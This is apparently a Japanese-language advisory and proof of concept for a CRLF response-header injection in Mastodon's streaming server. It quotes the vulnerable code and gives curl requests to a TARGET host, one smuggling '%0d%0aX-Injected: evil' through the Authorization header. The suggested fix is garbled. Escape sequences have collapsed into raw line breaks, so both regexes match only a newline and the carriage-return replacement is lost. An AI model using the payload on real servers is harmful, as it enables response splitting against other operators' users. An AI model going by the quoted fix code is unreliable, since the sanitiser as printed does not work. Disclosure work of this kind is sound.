
Mastodon Streaming Server Security Vulnerability PoC - CVE-2026-Mastodon-Streaming-CRLF-Injection
| 項目 | 詳細 |
|---|---|
| CVE ID | CVE-2026-XXXXX |
| 影響を受ける製品 | Mastodon (ストリーミングサーバー) |
| 影響を受けるバージョン | <= 4.5.9 |
| コンポーネント | streaming/index.js の 188〜206 行目 |
| 脆弱性の種類 | HTTP レスポンスヘッダーインジェクション / CRLF インジェクション |
| CWE | CWE-74 |
| CVSS 3.1 | 6.5 (中) |
| 攻撃ベクトル | ネットワーク |
| 報告者 | qitian [email protected] |
WebSocket アップグレードリクエストの認証に失敗すると、Mastodon Streaming Server は streaming/index.js の 188〜206 行目で手動の HTTP レスポンスを構築し、socket.end() を介して errorMessage を X-Error-Message レスポンスヘッダーに直接書き込みます。このとき、\r または \n 文字はサニタイズされません。
これにより、認証されていないリモートの攻撃者は、任意の HTTP ヘッダーの注入や HTTP レスポンス分割 (Response Splitting) を実行できる可能性があります。
const { statusCode, errorMessage } = extractErrorStatusAndMessage(err);
const headers = {
'Connection': 'close',
'Content-Type': 'text/plain',
'Content-Length': 0,
'X-Request-Id': request.id,
'X-Error-Message': errorMessage // NO CRLF sanitization
};
socket.end(
`HTTP/1.1 ${statusCode} ${http.STATUS_CODES[statusCode]}
` +
`${Object.keys(headers).map((key) => `${key}: ${headers[key]}`).join('
')}
`
);
curl -i -X GET \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
http://TARGET:4000/api/v1/streaming/user
期待される結果: HTTP/1.1 401 Unauthorized、X-Error-Message: Missing access token
curl -i -X GET \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Authorization: Bearer test%0d%0aX-Injected: evil" \
http://TARGET:4000/api/v1/streaming/user
socket ヘッダーに書き込む前に errorMessage をサニタイズしてください:
const sanitizedMessage = String(errorMessage || '')
.replace(/
/g, '%0D')
.replace(/
/g, '%0A');
// OR use Node.js res.setHeader() API which prevents header injection
| 日付 | イベント |
|---|---|
| 2026-04-22 | 脆弱性を発見し、PoC を作成 |
| 2026-04-22 | CVE レポートを MITRE / VDB に提出 |
免責事項: この PoC は教育およびセキュリティ研究目的のみで提供されています。